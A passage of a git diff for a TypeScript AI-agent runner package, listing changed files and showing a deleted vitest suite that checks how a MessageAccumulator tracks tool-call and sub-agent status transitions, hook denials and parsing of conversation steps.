  426. package/src/harness/__tests__/transcript-writers.test.ts +191 -0
  427. package/src/harness/__tests__/turn-attachments-vision.test.ts +5 -2
  428. package/src/harness/__tests__/turn-context.test.ts +5 -5
  429. package/src/harness/approval-decisions.ts +1 -1
  430. package/src/harness/capabilities.ts +21 -11
  431. package/src/harness/capture.ts +4 -4
  432. package/src/harness/persist-chokepoint.ts +3 -3
  433. package/src/harness/registry.ts +2 -2
  434. package/src/harness/run-turn.ts +33 -9
  435. package/src/harness/stop-controller.ts +1 -1
  436. package/src/harness/terminal-table.ts +7 -7
  437. package/src/harness/transcript/__tests__/builder.test.ts +975 -0
  438. package/src/harness/transcript/__tests__/state.test.ts +143 -0
  439. package/src/harness/transcript/builder.ts +755 -0
  440. package/src/harness/transcript/events.ts +262 -0
  441. package/src/harness/transcript/state.ts +167 -0
  442. package/src/harness/turn-context.ts +61 -46
  443. package/src/harness/types.ts +64 -22
  444. package/src/harness/usage-accumulator.ts +2 -2
  445. package/src/harness-adapters.ts +5 -4
  446. package/src/middleware/__tests__/cost-advisory.test.ts +2 -2
  447. package/src/middleware/approval-gate.ts +7 -74
  448. package/src/middleware/cost-advisory.ts +3 -3
  449. package/src/middleware/index.ts +1 -1
  450. package/src/runner-manager.ts +1 -1
  451. package/src/shared/__tests__/approval-policy.test.ts +45 -0
  452. package/src/shared/__tests__/args-preview.test.ts +40 -20
  453. package/src/shared/__tests__/attachment-naming.test.ts +1 -1
  454. package/src/shared/__tests__/attachment-resolver.test.ts +5 -5
  455. package/src/shared/__tests__/attachment-zip.test.ts +1 -1
  456. package/src/shared/__tests__/blueprint-resolver.test.ts +1 -1
  457. package/src/shared/__tests__/cost-guard.test.ts +1 -1
  458. package/src/shared/__tests__/exact-apply.test.ts +2 -1
  459. package/src/shared/__tests__/persist-decision.test.ts +19 -33
  460. package/src/shared/__tests__/prompt-sections.test.ts +1 -1
  461. package/src/shared/__tests__/stamp-flowed-rows.test.ts +1 -1
  462. package/src/shared/__tests__/status-offload.test.ts +1 -1
  463. package/src/shared/__tests__/streaming-scheduler.test.ts +8 -9
  464. package/src/shared/__tests__/todos.test.ts +1 -1
  465. package/src/shared/__tests__/tool-row.test.ts +1 -1
  466. package/src/shared/approval-policy.ts +95 -0
  467. package/src/shared/args-preview.ts +51 -42
  468. package/src/shared/attachment-resolver.ts +4 -4
  469. package/src/shared/attachment-vision.ts +2 -1
  470. package/src/shared/attachment-zip.ts +2 -2
  471. package/src/shared/cost-guard.ts +2 -2
  472. package/src/shared/exact-apply.ts +1 -1
  473. package/src/shared/execution-context.ts +2 -2
  474. package/src/shared/extract-structured-output.ts +2 -2
  475. package/src/shared/filereview/__tests__/capture.test.ts +9 -5
  476. package/src/shared/filereview/__tests__/git-substrate.test.ts +4 -1
  477. package/src/shared/filereview/__tests__/proxy-reconcile.test.ts +3 -3
  478. package/src/shared/filereview/cas-touched.ts +2 -2
  479. package/src/shared/heartbeat.ts +1 -1
  480. package/src/shared/llm-backend.ts +0 -4
  481. package/src/shared/model-error.ts +1 -2
  482. package/src/shared/persist-decision.ts +19 -28
  483. package/src/shared/prompt-sections.ts +4 -4
  484. package/src/shared/skill-resolver.ts +3 -3
  485. package/src/shared/status-offload.ts +2 -2
  486. package/src/shared/streaming-scheduler.ts +8 -13
  487. package/src/shared/subagent-rows.ts +2 -2
  488. package/src/shared/todos.ts +3 -3
  489. package/src/shared/tool-row.ts +38 -2
  490. package/src/shared/worker-shutdown.ts +1 -1
  491. package/src/shared/workspace/__tests__/git-source.test.ts +3 -3
  492. package/src/shared/workspace/__tests__/provisioner.test.ts +5 -5
  493. package/src/shared/workspace/__tests__/session-provision.test.ts +2 -2
  494. package/src/shared/workspace/__tests__/writeback-coordinator.integration.test.ts +8 -9
  495. package/src/shared/workspace/__tests__/writeback-coordinator.test.ts +25 -25
  496. package/src/shared/workspace/provisioner.ts +1 -1
  497. package/src/shared/workspace/session-provision.ts +1 -1
  498. package/src/shared/workspace/sources/empty.ts +2 -2
  499. package/src/shared/workspace/sources/git.ts +3 -4
  500. package/src/shared/workspace/sources/local-path.ts +5 -6
  501. package/src/shared/workspace/stigmer-link.ts +1 -1
  502. package/src/shared/workspace/types.ts +2 -5
  503. package/src/shared/workspace/writeback-coordinator.ts +23 -12
  504. package/dist/activities/execute-cursor/delta-enricher.d.ts +0 -87
  505. package/dist/activities/execute-cursor/delta-enricher.js +0 -265
  506. package/dist/activities/execute-cursor/delta-enricher.js.map +0 -1
  507. package/dist/activities/execute-cursor/message-translator.js +0 -2040
  508. package/dist/activities/execute-cursor/message-translator.js.map +0 -1
  509. package/dist/activities/execute-cursor/todo-tracker.d.ts +0 -40
  510. package/dist/activities/execute-cursor/todo-tracker.js +0 -80
  511. package/dist/activities/execute-cursor/todo-tracker.js.map +0 -1
  512. package/dist/activities/execute-deep-agent/execution-state.d.ts +0 -54
  513. package/dist/activities/execute-deep-agent/execution-state.js +0 -68
  514. package/dist/activities/execute-deep-agent/execution-state.js.map +0 -1
  515. package/dist/activities/execute-deep-agent/status-builder-shared.d.ts +0 -65
  516. package/dist/activities/execute-deep-agent/status-builder-shared.js +0 -90
  517. package/dist/activities/execute-deep-agent/status-builder-shared.js.map +0 -1
  518. package/dist/activities/execute-deep-agent/subagent-tracker.d.ts +0 -113
  519. package/dist/activities/execute-deep-agent/subagent-tracker.js +0 -400
  520. package/dist/activities/execute-deep-agent/subagent-tracker.js.map +0 -1
  521. package/dist/activities/execute-deep-agent/v3-events.d.ts +0 -102
  522. package/dist/activities/execute-deep-agent/v3-events.js +0 -35
  523. package/dist/activities/execute-deep-agent/v3-events.js.map +0 -1
  524. package/dist/activities/execute-deep-agent/v3-protocol-normalizer.d.ts +0 -15
  525. package/dist/activities/execute-deep-agent/v3-protocol-normalizer.js +0 -235
  526. package/dist/activities/execute-deep-agent/v3-protocol-normalizer.js.map +0 -1
  527. package/dist/activities/execute-deep-agent/v3-status-builder.d.ts +0 -111
  528. package/dist/activities/execute-deep-agent/v3-status-builder.js +0 -457
  529. package/dist/activities/execute-deep-agent/v3-status-builder.js.map +0 -1
  530. package/dist/shared/execution-status-writer.d.ts +0 -31
  531. package/dist/shared/execution-status-writer.js +0 -43
  532. package/dist/shared/execution-status-writer.js.map +0 -1
  533. package/src/activities/execute-cursor/__tests__/delta-enricher.test.ts +0 -310
  534. package/src/activities/execute-cursor/__tests__/message-translator.test.ts +0 -1033
  535. package/src/activities/execute-cursor/__tests__/todo-tracker.test.ts +0 -498
  536. package/src/activities/execute-cursor/delta-enricher.ts +0 -307
  537. package/src/activities/execute-cursor/message-translator.ts +0 -2319
  538. package/src/activities/execute-cursor/todo-tracker.ts +0 -91
  539. package/src/activities/execute-deep-agent/__tests__/execution-state-extended.test.ts +0 -148
  540. package/src/activities/execute-deep-agent/__tests__/execution-state.test.ts +0 -154
  541. package/src/activities/execute-deep-agent/__tests__/status-builder-shared.test.ts +0 -47
  542. package/src/activities/execute-deep-agent/__tests__/v3-protocol-normalizer.test.ts +0 -324
  543. package/src/activities/execute-deep-agent/execution-state.ts +0 -78
  544. package/src/activities/execute-deep-agent/status-builder-shared.ts +0 -142
  545. package/src/activities/execute-deep-agent/subagent-tracker.ts +0 -479
  546. package/src/activities/execute-deep-agent/v3-events.ts +0 -153
  547. package/src/activities/execute-deep-agent/v3-protocol-normalizer.ts +0 -264
  548. package/src/activities/execute-deep-agent/v3-status-builder.ts +0 -565
  549. package/src/shared/execution-status-writer.ts +0 -56
@@ -1,1033 +0,0 @@
1
- /**
2
- * @regression file-hitl-phase0 — pins file-edit HITL fix #3 (see _projects/2026-06/20260630.01.file-change-hitl-redesign/tasks/T01_3_regression-manifest.md)
3
- *
4
- * Unit tests for MessageAccumulator tool call status transitions.
5
- *
6
- * Validates the indexed tool call tracking that prevents the
7
- * cross-message lookup bug (FM-1) where completion events for slow
8
- * tools (especially MCP) would miss their target when interleaved
9
- * assistant text created new AI messages.
10
- */
11
-
12
- import { describe, it, expect } from "vitest";
13
- import { create } from "@bufbuild/protobuf";
14
- import {
15
- AgentMessageSchema,
16
- ToolCallSchema,
17
- } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/message_pb";
18
- import type { AgentMessage } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/message_pb";
19
- import {
20
- MessageType,
21
- ToolCallStatus,
22
- SubAgentStatus,
23
- ToolKind,
24
- } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/enum_pb";
25
- import type { SDKMessage } from "@cursor/sdk";
26
- import {
27
- MessageAccumulator,
28
- extractConversationSteps,
29
- } from "../message-translator.js";
30
-
31
- function toolCallEvent(
32
- callId: string,
33
- name: string,
34
- status: "running" | "completed" | "error",
35
- runId = "run-1",
36
- opts?: { result?: unknown; args?: unknown },
37
- ): Extract<SDKMessage, { type: "tool_call" }> {
38
- return {
39
- type: "tool_call",
40
- agent_id: "agent-1",
41
- run_id: runId,
42
- call_id: callId,
43
- name,
44
- status,
45
- result: opts?.result,
46
- args: opts?.args,
47
- };
48
- }
49
-
50
- function assistantEvent(
51
- runId: string,
52
- text: string,
53
- ): Extract<SDKMessage, { type: "assistant" }> {
54
- return {
55
- type: "assistant",
56
- agent_id: "agent-1",
57
- run_id: runId,
58
- message: {
59
- role: "assistant" as const,
60
- content: [{ type: "text" as const, text }],
61
- },
62
- };
63
- }
64
-
65
- function thinkingEvent(
66
- runId: string,
67
- text: string,
68
- ): Extract<SDKMessage, { type: "thinking" }> {
69
- return {
70
- type: "thinking",
71
- agent_id: "agent-1",
72
- run_id: runId,
73
- text,
74
- };
75
- }
76
-
77
- function countToolCallsWithId(messages: AgentMessage[], callId: string): number {
78
- let count = 0;
79
- for (const msg of messages) {
80
- for (const tc of msg.toolCalls) {
81
- if (tc.id === callId) count++;
82
- }
83
- }
84
- return count;
85
- }
86
-
87
- function findToolCallById(messages: AgentMessage[], callId: string) {
88
- for (const msg of messages) {
89
- for (const tc of msg.toolCalls) {
90
- if (tc.id === callId) return tc;
91
- }
92
- }
93
- return undefined;
94
- }
95
-
96
- describe("MessageAccumulator tool call status transitions", () => {
97
- it("same-message completion: tool call status transitions on the same AI message", () => {
98
- const messages: AgentMessage[] = [];
99
- const acc = new MessageAccumulator(messages);
100
-
101
- acc.processEvent(assistantEvent("r1", "Let me run a query."));
102
- acc.processEvent(toolCallEvent("tc-1", "Shell", "running"));
103
- acc.processEvent(toolCallEvent("tc-1", "Shell", "completed", "run-1", { result: "OK" }));
104
-
105
- expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
106
-
107
- const tc = findToolCallById(messages, "tc-1")!;
108
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
109
- expect(tc.result).toBe("OK");
110
- expect(tc.completedAt).toBeTruthy();
111
- });
112
-
113
- it("persists the Cursor shell {status,value} envelope verbatim on ToolCall.result", () => {
114
- // The Cursor SDK's built-in Shell tool returns a structured envelope object;
115
- // the runner stores it as a JSON string (toResultString → JSON.stringify),
116
- // and the SDK view layer (normalizeShell) unwraps it for display. This locks
117
- // the persisted shape so the cross-language fixture (result-views.json's
118
- // cursor_shell_envelope) is grounded in what the runner actually writes,
119
- // not a guess — the two halves of the bug fix stay in sync.
120
- const messages: AgentMessage[] = [];
121
- const acc = new MessageAccumulator(messages);
122
-
123
- const envelope = {
124
- status: "success",
125
- value: {
126
- exitCode: 0,
127
- signal: "",
128
- stdout: "total 8\n",
129
- stderr: "",
130
- executionTime: 1176,
131
- },
132
- };
133
-
134
- acc.processEvent(assistantEvent("r1", "Running ls."));
135
- acc.processEvent(toolCallEvent("tc-shell", "Shell", "running"));
136
- acc.processEvent(
137
- toolCallEvent("tc-shell", "Shell", "completed", "run-1", { result: envelope }),
138
- );
139
-
140
- const tc = findToolCallById(messages, "tc-shell")!;
141
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
142
- expect(tc.result).toBe(JSON.stringify(envelope));
143
- // Round-trips to the original structure (the SDK normalizer reads .value).
144
- expect(JSON.parse(tc.result)).toEqual(envelope);
145
- });
146
-
147
- it("cross-message completion: tool call completes after new AI message is created", () => {
148
- const messages: AgentMessage[] = [];
149
- const acc = new MessageAccumulator(messages);
150
-
151
- // AI message #1 with tool call
152
- acc.processEvent(assistantEvent("r1", "Running query..."));
153
- acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1"));
154
-
155
- // New AI message #2 (different run_id)
156
- acc.processEvent(assistantEvent("r2", "Let me also check another thing."));
157
-
158
- // Tool call completes — must update the original on msg #1, not create duplicate on #2
159
- acc.processEvent(toolCallEvent("tc-1", "mcp", "completed", "r1", { result: "query result" }));
160
-
161
- expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
162
-
163
- const tc = findToolCallById(messages, "tc-1")!;
164
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
165
- expect(tc.result).toBe("query result");
166
- });
167
-
168
- it("multiple concurrent tools with interleaved text: both complete correctly", () => {
169
- const messages: AgentMessage[] = [];
170
- const acc = new MessageAccumulator(messages);
171
-
172
- acc.processEvent(assistantEvent("r1", "Running two queries."));
173
- acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1"));
174
- acc.processEvent(toolCallEvent("tc-2", "mcp", "running", "r1"));
175
-
176
- // Interleaved assistant text creates a new AI message
177
- acc.processEvent(assistantEvent("r2", "While those run, let me think..."));
178
-
179
- // Both complete after the new AI message
180
- acc.processEvent(toolCallEvent("tc-1", "mcp", "completed", "r1", { result: "result-1" }));
181
- acc.processEvent(toolCallEvent("tc-2", "mcp", "completed", "r1", { result: "result-2" }));
182
-
183
- expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
184
- expect(countToolCallsWithId(messages, "tc-2")).toBe(1);
185
-
186
- const tc1 = findToolCallById(messages, "tc-1")!;
187
- const tc2 = findToolCallById(messages, "tc-2")!;
188
- expect(tc1.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
189
- expect(tc2.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
190
- expect(tc1.result).toBe("result-1");
191
- expect(tc2.result).toBe("result-2");
192
- });
193
-
194
- it("MCP tool with many interleaved assistant messages", () => {
195
- const messages: AgentMessage[] = [];
196
- const acc = new MessageAccumulator(messages);
197
-
198
- acc.processEvent(assistantEvent("r1", "Starting SQL query."));
199
- acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1", {
200
- args: { providerIdentifier: "postgres", toolName: "execute_sql", args: { query: "SELECT 1" } },
201
- }));
202
-
203
- // Three interleaved assistant messages (simulating slow MCP tool)
204
- acc.processEvent(assistantEvent("r2", "First update..."));
205
- acc.processEvent(assistantEvent("r3", "Second update..."));
206
- acc.processEvent(assistantEvent("r4", "Third update..."));
207
-
208
- // Tool finally completes
209
- acc.processEvent(toolCallEvent("tc-1", "mcp", "completed", "r1", { result: "rows: 1" }));
210
-
211
- expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
212
- const tc = findToolCallById(messages, "tc-1")!;
213
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
214
- });
215
-
216
- it("unknown call_id on completion: creates new tool call gracefully", () => {
217
- const messages: AgentMessage[] = [];
218
- const acc = new MessageAccumulator(messages);
219
-
220
- acc.processEvent(assistantEvent("r1", "Some context."));
221
-
222
- // Completion event without a preceding running event
223
- acc.processEvent(toolCallEvent("tc-orphan", "Shell", "completed", "r1", { result: "done" }));
224
-
225
- const tc = findToolCallById(messages, "tc-orphan")!;
226
- expect(tc).toBeDefined();
227
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
228
- });
229
-
230
- it("HITL denied tool: status transitions to FAILED", () => {
231
- const messages: AgentMessage[] = [];
232
- const acc = new MessageAccumulator(messages);
233
-
234
- acc.processEvent(assistantEvent("r1", "About to run a dangerous tool."));
235
- acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1"));
236
- acc.processEvent(toolCallEvent("tc-1", "mcp", "error", "r1", { result: "Tool denied by hook" }));
237
-
238
- const tc = findToolCallById(messages, "tc-1")!;
239
- expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
240
- expect(tc.error).toBe("Tool denied by hook");
241
- });
242
-
243
- it("finalize clears isStreaming on active AI messages", () => {
244
- const messages: AgentMessage[] = [];
245
- const acc = new MessageAccumulator(messages);
246
-
247
- acc.processEvent(assistantEvent("r1", "Streaming text..."));
248
-
249
- const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
250
- expect(aiMsg?.isStreaming).toBe(true);
251
-
252
- acc.finalize();
253
- expect(aiMsg?.isStreaming).toBe(false);
254
- });
255
-
256
- it("sub-agent tool calls are tracked via trackSubAgentExecution", () => {
257
- const messages: AgentMessage[] = [];
258
- const acc = new MessageAccumulator(messages);
259
-
260
- acc.processEvent(assistantEvent("r1", "Delegating to sub-agent."));
261
-
262
- const runningEvent = toolCallEvent("tc-sub", "task", "running", "r1", {
263
- args: { subagentType: "generalPurpose", description: "Analyze data", prompt: "Do the thing" },
264
- });
265
- acc.processEvent(runningEvent);
266
- acc.trackSubAgentExecution(runningEvent);
267
-
268
- const completedEvent = toolCallEvent("tc-sub", "task", "completed", "r1", { result: "Done" });
269
- acc.processEvent(completedEvent);
270
- acc.trackSubAgentExecution(completedEvent);
271
-
272
- expect(acc.subAgentExecutions).toHaveLength(1);
273
- expect(acc.subAgentExecutions[0].id).toBe("tc-sub");
274
- expect(acc.subAgentExecutions[0].output).toBe("Done");
275
- });
276
-
277
- it("sub-agent is IN_PROGRESS on the task running event (live-visibility precondition)", () => {
278
- const acc = new MessageAccumulator([]);
279
-
280
- const runningEvent = toolCallEvent("tc-live", "task", "running", "r1", {
281
- args: { description: "Research topic", prompt: "Go" },
282
- });
283
- const sub = acc.trackSubAgentExecution(runningEvent);
284
-
285
- expect(sub).toBeDefined();
286
- expect(sub!.status).toBe(SubAgentStatus.SUB_AGENT_IN_PROGRESS);
287
- expect(acc.subAgentExecutions[0].status).toBe(SubAgentStatus.SUB_AGENT_IN_PROGRESS);
288
- });
289
-
290
- it("isDirty starts false and is set when a sub-agent is created", () => {
291
- const acc = new MessageAccumulator([]);
292
- expect(acc.isDirty).toBe(false);
293
-
294
- acc.trackSubAgentExecution(
295
- toolCallEvent("tc-dirty1", "task", "running", "r1", {
296
- args: { description: "Research", prompt: "Go" },
297
- }),
298
- );
299
-
300
- expect(acc.isDirty).toBe(true);
301
- });
302
-
303
- it("markPersisted clears the dirty flag, and a sub-agent update re-marks it", () => {
304
- const acc = new MessageAccumulator([]);
305
-
306
- acc.trackSubAgentExecution(
307
- toolCallEvent("tc-dirty2", "task", "running", "r1", {
308
- args: { description: "Research", prompt: "Go" },
309
- }),
310
- );
311
- expect(acc.isDirty).toBe(true);
312
-
313
- acc.markPersisted();
314
- expect(acc.isDirty).toBe(false);
315
-
316
- // The completion transition (IN_PROGRESS -> COMPLETED) must re-mark dirty
317
- // so the terminal sub-agent state is persisted to the live stream.
318
- acc.trackSubAgentExecution(
319
- toolCallEvent("tc-dirty2", "task", "completed", "r1", { result: "Done" }),
320
- );
321
- expect(acc.isDirty).toBe(true);
322
- expect(acc.subAgentExecutions[0].status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
323
- });
324
-
325
- it("cancelInProgressSubAgents transitions IN_PROGRESS to CANCELLED and leaves terminal states untouched", () => {
326
- const acc = new MessageAccumulator([]);
327
-
328
- // Running sub-agent (should be cancelled).
329
- acc.trackSubAgentExecution(
330
- toolCallEvent("tc-run", "task", "running", "r1", {
331
- args: { description: "Long report", prompt: "Go" },
332
- }),
333
- );
334
- // Completed sub-agent (must stay COMPLETED).
335
- acc.trackSubAgentExecution(
336
- toolCallEvent("tc-done", "task", "running", "r1", {
337
- args: { description: "Quick lookup", prompt: "Go" },
338
- }),
339
- );
340
- acc.trackSubAgentExecution(
341
- toolCallEvent("tc-done", "task", "completed", "r1", { result: "Found it" }),
342
- );
343
-
344
- acc.markPersisted();
345
- expect(acc.isDirty).toBe(false);
346
-
347
- acc.cancelInProgressSubAgents();
348
-
349
- const running = acc.subAgentExecutions.find((s) => s.id === "tc-run")!;
350
- const done = acc.subAgentExecutions.find((s) => s.id === "tc-done")!;
351
-
352
- expect(running.status).toBe(SubAgentStatus.SUB_AGENT_CANCELLED);
353
- expect(running.completedAt).not.toBe("");
354
- expect(done.status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
355
- // The transition must mark dirty so the cancellation is persisted.
356
- expect(acc.isDirty).toBe(true);
357
- });
358
-
359
- it("cancelInProgressSubAgents is a no-op when there are no running sub-agents", () => {
360
- const acc = new MessageAccumulator([]);
361
- acc.cancelInProgressSubAgents();
362
- expect(acc.subAgentExecutions).toHaveLength(0);
363
- expect(acc.isDirty).toBe(false);
364
- });
365
-
366
- it("sub-agent name extraction handles object subagentType", () => {
367
- const messages: AgentMessage[] = [];
368
- const acc = new MessageAccumulator(messages);
369
-
370
- const event = toolCallEvent("tc-sub2", "task", "running", "r1", {
371
- args: { subagentType: { kind: "generalPurpose", name: "researcher" }, description: "Research", prompt: "Go" },
372
- });
373
- acc.processEvent(event);
374
- const sub = acc.trackSubAgentExecution(event);
375
-
376
- expect(sub).toBeDefined();
377
- expect(sub!.name).toBe("researcher");
378
- });
379
-
380
- it("sub-agent name extraction falls back to kind when name is absent", () => {
381
- const messages: AgentMessage[] = [];
382
- const acc = new MessageAccumulator(messages);
383
-
384
- const event = toolCallEvent("tc-sub3", "task", "running", "r1", {
385
- args: { subagentType: { kind: "explore" }, description: "Explore", prompt: "Go" },
386
- });
387
- acc.processEvent(event);
388
- const sub = acc.trackSubAgentExecution(event);
389
-
390
- expect(sub).toBeDefined();
391
- expect(sub!.name).toBe("explore");
392
- });
393
-
394
- it("sub-agent name extraction falls back to description when kind is 'unspecified'", () => {
395
- const messages: AgentMessage[] = [];
396
- const acc = new MessageAccumulator(messages);
397
-
398
- const event = toolCallEvent("tc-sub4", "task", "running", "r1", {
399
- args: { subagentType: { kind: "unspecified" }, description: "Research renewable energy", prompt: "Go" },
400
- });
401
- acc.processEvent(event);
402
- const sub = acc.trackSubAgentExecution(event);
403
-
404
- expect(sub).toBeDefined();
405
- expect(sub!.name).toBe("Research renewable energy");
406
- });
407
-
408
- it("sub-agent name extraction falls back to description when subagentType is missing", () => {
409
- const messages: AgentMessage[] = [];
410
- const acc = new MessageAccumulator(messages);
411
-
412
- const event = toolCallEvent("tc-sub5", "task", "running", "r1", {
413
- args: { description: "Analyze codebase", prompt: "Go" },
414
- });
415
- acc.processEvent(event);
416
- const sub = acc.trackSubAgentExecution(event);
417
-
418
- expect(sub).toBeDefined();
419
- expect(sub!.name).toBe("Analyze codebase");
420
- });
421
-
422
- it("sub-agent extracts conversationSteps from task completed result", () => {
423
- const messages: AgentMessage[] = [];
424
- const acc = new MessageAccumulator(messages);
425
-
426
- const runningEvent = toolCallEvent("tc-sub6", "task", "running", "r1", {
427
- args: { subagentType: { kind: "unspecified" }, description: "Research topic", prompt: "Summarize AI" },
428
- });
429
- acc.processEvent(runningEvent);
430
- acc.trackSubAgentExecution(runningEvent);
431
-
432
- const completedEvent = toolCallEvent("tc-sub6", "task", "completed", "r1", {
433
- result: {
434
- status: "success",
435
- value: {
436
- conversationSteps: [
437
- { type: "thinkingMessage", message: { text: "Let me think about this..." } },
438
- { type: "assistantMessage", message: { text: "Here is a summary of AI." } },
439
- ],
440
- agentId: "sub-agent-123",
441
- durationMs: 5000,
442
- isBackground: false,
443
- backgroundReason: "unspecified",
444
- },
445
- },
446
- });
447
- acc.processEvent(completedEvent);
448
- acc.trackSubAgentExecution(completedEvent);
449
-
450
- const sub = acc.subAgentExecutions[0];
451
- expect(sub.status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
452
- expect(sub.messages).toHaveLength(2);
453
- expect(sub.messages[0].type).toBe(MessageType.MESSAGE_THINKING);
454
- expect(sub.messages[0].content).toBe("Let me think about this...");
455
- expect(sub.messages[1].type).toBe(MessageType.MESSAGE_AI);
456
- expect(sub.messages[1].content).toBe("Here is a summary of AI.");
457
- });
458
-
459
- // Real Cursor task-result shape (verified against production agent_execution
460
- // blobs): each step is a protobuf-oneof keyed DIRECTLY by kind, and a tool
461
- // call is { toolCall: { toolCallId, <kind>ToolCall: { args, result } } } whose
462
- // result is a oneof { success | error | permissionDenied | rejected }. This is
463
- // the shape that exposed the dropped-tool-calls bug: the prior parser only
464
- // matched a { type:"toolCall", message } envelope that never occurs.
465
- it("sub-agent extracts real direct-keyed toolCall steps from conversationSteps", () => {
466
- const messages: AgentMessage[] = [];
467
- const acc = new MessageAccumulator(messages);
468
-
469
- const runningEvent = toolCallEvent("tc-sub7", "task", "running", "r1", {
470
- args: { description: "Explore the repo", prompt: "Find the README" },
471
- });
472
- acc.processEvent(runningEvent);
473
- acc.trackSubAgentExecution(runningEvent);
474
-
475
- const completedEvent = toolCallEvent("tc-sub7", "task", "completed", "r1", {
476
- result: {
477
- status: "success",
478
- value: {
479
- conversationSteps: [
480
- { thinkingMessage: { text: "Let me look for the README." } },
481
- {
482
- toolCall: {
483
- toolCallId: "glob-1",
484
- globToolCall: {
485
- args: { targetDirectory: "/repo", globPattern: "**/*.md" },
486
- result: { success: { path: "/repo", files: ["README.md"] } },
487
- },
488
- },
489
- },
490
- {
491
- toolCall: {
492
- toolCallId: "read-1",
493
- readToolCall: {
494
- args: { path: "/repo/README.md" },
495
- result: {
496
- success: {
497
- content: "# Hello",
498
- path: "/repo/README.md",
499
- totalLines: 1,
500
- fileSize: 7,
501
- },
502
- },
503
- },
504
- },
505
- },
506
- { assistantMessage: { text: "I found and read the README." } },
507
- ],
508
- agentId: "sub-agent-xyz",
509
- durationMs: 4200,
510
- isBackground: false,
511
- backgroundReason: "unspecified",
512
- },
513
- },
514
- });
515
- acc.processEvent(completedEvent);
516
- acc.trackSubAgentExecution(completedEvent);
517
-
518
- const sub = acc.subAgentExecutions[0];
519
- // thinking + glob tool call + read tool call + assistant text
520
- expect(sub.messages).toHaveLength(4);
521
-
522
- expect(sub.messages[0].type).toBe(MessageType.MESSAGE_THINKING);
523
- expect(sub.messages[0].content).toBe("Let me look for the README.");
524
-
525
- const globMsg = sub.messages[1];
526
- expect(globMsg.type).toBe(MessageType.MESSAGE_AI);
527
- expect(globMsg.toolCalls).toHaveLength(1);
528
- expect(globMsg.toolCalls[0].id).toBe("glob-1");
529
- expect(globMsg.toolCalls[0].name).toBe("glob");
530
- expect(globMsg.toolCalls[0].toolKind).toBe(ToolKind.SEARCH);
531
- expect(globMsg.toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
532
-
533
- const readMsg = sub.messages[2];
534
- expect(readMsg.type).toBe(MessageType.MESSAGE_AI);
535
- expect(readMsg.toolCalls).toHaveLength(1);
536
- expect(readMsg.toolCalls[0].id).toBe("read-1");
537
- expect(readMsg.toolCalls[0].name).toBe("read");
538
- expect(readMsg.toolCalls[0].toolKind).toBe(ToolKind.FILE_READ);
539
- expect(readMsg.toolCalls[0].status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
540
- expect(readMsg.toolCalls[0].result).toContain("# Hello");
541
-
542
- expect(sub.messages[3].type).toBe(MessageType.MESSAGE_AI);
543
- expect(sub.messages[3].content).toBe("I found and read the README.");
544
- });
545
-
546
- it("sub-agent gracefully handles missing conversationSteps", () => {
547
- const messages: AgentMessage[] = [];
548
- const acc = new MessageAccumulator(messages);
549
-
550
- const runningEvent = toolCallEvent("tc-sub8", "task", "running", "r1", {
551
- args: { description: "Quick task", prompt: "Do it" },
552
- });
553
- acc.processEvent(runningEvent);
554
- acc.trackSubAgentExecution(runningEvent);
555
-
556
- const completedEvent = toolCallEvent("tc-sub8", "task", "completed", "r1", {
557
- result: "Simple string result",
558
- });
559
- acc.processEvent(completedEvent);
560
- acc.trackSubAgentExecution(completedEvent);
561
-
562
- const sub = acc.subAgentExecutions[0];
563
- expect(sub.status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
564
- expect(sub.output).toBe("Simple string result");
565
- expect(sub.messages).toHaveLength(0);
566
- });
567
-
568
- describe("extractConversationSteps standalone", () => {
569
- it("parses legacy format with thinkingMessage/assistantMessage keys (no type field)", () => {
570
- const out: AgentMessage[] = [];
571
- extractConversationSteps({
572
- status: "success",
573
- value: {
574
- conversationSteps: [
575
- { thinkingMessage: { text: "Hmm...", durationMs: 200 } },
576
- { assistantMessage: { text: "Answer." } },
577
- ],
578
- },
579
- }, out);
580
-
581
- expect(out).toHaveLength(2);
582
- expect(out[0].type).toBe(MessageType.MESSAGE_THINKING);
583
- expect(out[0].content).toBe("Hmm...");
584
- expect(out[1].type).toBe(MessageType.MESSAGE_AI);
585
- expect(out[1].content).toBe("Answer.");
586
- });
587
-
588
- it("skips unknown step types for forward compatibility", () => {
589
- const out: AgentMessage[] = [];
590
- extractConversationSteps({
591
- status: "success",
592
- value: {
593
- conversationSteps: [
594
- { type: "futureStepType", data: {} },
595
- { type: "assistantMessage", message: { text: "Still works." } },
596
- ],
597
- },
598
- }, out);
599
-
600
- expect(out).toHaveLength(1);
601
- expect(out[0].content).toBe("Still works.");
602
- });
603
-
604
- it("handles null/undefined/non-object result gracefully", () => {
605
- const out: AgentMessage[] = [];
606
- extractConversationSteps(null, out);
607
- extractConversationSteps(undefined, out);
608
- extractConversationSteps("string", out);
609
- extractConversationSteps(42, out);
610
- expect(out).toHaveLength(0);
611
- });
612
-
613
- it("handles result without conversationSteps", () => {
614
- const out: AgentMessage[] = [];
615
- extractConversationSteps({ status: "success", value: {} }, out);
616
- expect(out).toHaveLength(0);
617
- });
618
-
619
